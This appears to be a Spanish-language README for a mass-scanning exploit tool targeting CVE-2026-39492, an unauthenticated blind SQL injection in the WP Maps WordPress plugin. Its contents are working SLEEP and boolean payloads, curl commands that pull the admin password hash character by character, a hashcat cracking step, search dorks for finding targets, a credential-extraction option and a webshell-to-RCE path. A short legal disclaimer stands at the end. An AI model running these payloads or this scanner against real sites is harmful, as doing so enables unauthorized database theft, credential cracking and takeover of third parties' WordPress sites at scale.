
CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 Escáner masivo de inyección SQL ciega no autenticada | detección estilo sqlmap | bypass de esc_sql() con backtick | 100K+ instalaciones
CVE-2026-39492 es una vulnerabilidad de inyección SQL ciega no autenticada de severidad crítica (CVSS 9.3) en el plugin WP Maps (wp-google-map-plugin) en versiones ≤ 4.9.1.
El manejador AJAX wpgmp_ajax_call se registra mediante para acceso no autenticado. El parámetro se pasa a través de — una función que trata incorrectamente la como un identificador de columna SQL de confianza, omitiendo por completo la sanitización de WordPress.
wp_ajax_nopriv_location_idFlipperCode_Model_Base::is_column()esc_sql()| Versión de WP Maps | Estado |
|---|---|
| ≤ 4.9.1 | Vulnerable |
| ≥ 4.9.2 | Parcheado |
Instalaciones activas: 100,000+
En la capa de abstracción de base de datos del plugin, is_column() comprueba si la entrada del usuario está envuelta en acentos graves:
// Vulnerable: la entrada envuelta en acentos graves se trata como identificador de columna de confianza
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // omite esc_sql() por completo
}
return false;
}
Cuando is_column() devuelve true, la entrada se pasa directamente a la consulta SQL sin escape esc_sql(). Esto permite:
location_id=`1` AND SLEEP(5) AND `1`=`1
1. Detectar WP Maps vía readme.txt → extraer la versión
2. POST a /wp-admin/admin-ajax.php?action=wpgmp_ajax_call
3. Inyectar payload envuelto en acentos graves en el parámetro location_id
4. Medir el tiempo de respuesta — SLEEP(N) confirma la inyección SQL
5. Extraer datos mediante técnica ciega basada en booleano/tiempo
| Métrica | Valor |
|---|---|
| Vector de Ataque | Red |
| Complejidad del Ataque | Baja |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
| Alcance | Cambiado (afecta a toda la BD) |
| Confidencialidad | Alta |
| Integridad | Ninguna |
| Disponibilidad | Baja |
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# Detección de un solo objetivo
python cve_2026_39492.py -t target.com
# Escaneo masivo
python cve_2026_39492.py -f targets.txt
# Escaneo masivo + guardar resultados
python cve_2026_39492.py -f targets.txt -o sqli.txt
# Un solo objetivo con extracción de credenciales
python cve_2026_39492.py -t target.com --extract -v
# Salida verbose
python cve_2026_39492.py -t target.com -v
-t, --target Objetivo único (dominio o IP)
-f, --file Lista de objetivos, uno por línea
-o, --output Guardar objetivos vulnerables en un archivo
--threads Trabajadores concurrentes (por defecto: 20)
--extract Extraer credenciales de administrador de objetivos confirmados
-v, --verbose Mostrar salida detallada
$ python cve_2026_39492.py -t target.com -v
CVE-2026-39492 — Escáner de Inyección SQL Ciega de WP Maps
CVSS 9.3 | Pre-Auth | wpgmp_ajax_call → Evasión con acentos graves
Objetivo: WP Maps (wp-google-map-plugin) <= 4.9.1
Vector: admin-ajax.php?action=wpgmp_ajax_call → location_id
Evasión: la entrada envuelta en acentos graves omite esc_sql()
[+] WP Maps detectado: v4.9.0
[*] Prueba SQLi: 6.2s (umbral: 5s)
[+] SQLi ciega CONFIRMADA (respuesta: 6.2s)
Host : target.com
WP Maps : YES v4.9.0
SQLi : YES
Tiempo resp : 6.2s
Tiempo : 7.1s
$ python cve_2026_39492.py -t target.com --extract -v
[+] SQLi ciega CONFIRMADA (respuesta: 5.8s)
[*] Extrayendo credenciales de administrador vía SQLi ciega...
[*] Extrayendo: admin_user
[*] Extrayendo: $P$BqVg...
Usuario Admin : admin_user
Hash Admin : $P$BqVg7xX...
CVE-2026-39492 Escáner de SQLi ciega de WP Maps
Objetivos: 2500 | Hilos: 20
Vector: wpgmp_ajax_call → evasión con acentos graves en location_id
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6.2s v4.9.0 resp:6.2s
[SQLi] wp-maps-site.com 5.8s v4.8.5 resp:5.8s
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
Escaneo completado | Tiempo: 320s
───────────────────────────────────────────────────────
Objetivos : 2500
WP Maps hallados : 47
SQLi confirmadas : 12
Paso 1 — Detectar el plugin
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
Paso 2 — Probar SQLi con SLEEP
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# Respuesta > 5 segundos → VULNERABLE
Paso 3 — Extraer el hash de administrador vía SQLi ciega
# Comprobar el primer carácter del hash de administrador
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1`
# Respuesta > 3 segundos → el primer carácter es ASCII 36 = '$'
Paso 4 — Descifrar el hash e iniciar sesión → RCE completo
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
La explotación exitosa permite la extracción de toda la base de datos de WordPress:
SELECT ... INTO OUTFILE → webshell → RCE directoSOLO PARA FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.
Este software está destinado a profesionales de seguridad que realizan pruebas de penetración autorizadas, organizaciones que auditan su propia infraestructura e investigadores que estudian la explotación de vulnerabilidades.
El acceso no autorizado a sistemas informáticos es ilegal y puede violar:
- Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. 1030)
- Indonesia: UU ITE Pasal 30 & 46
- Unión Europea: Directiva 2013/40/UE
- Reino Unido: Computer Misuse Act 1990
Los autores no asumen ninguna responsabilidad por el uso indebido.
| Recurso | Enlace |
|---|---|
| Aviso de IONIX | ionix.io/threat-center/cve-2026-39492 |
| Aviso de WPScan | wpscan.com/vulnerability/c1f19d2e |
| Aviso de Wordfence | wordfence.com |
| Entrada NVD | CVE-2026-39492 |
| Plugin Trac | wp-google-map-plugin |
Este proyecto no está afiliado con Flipper Code ni WP Maps.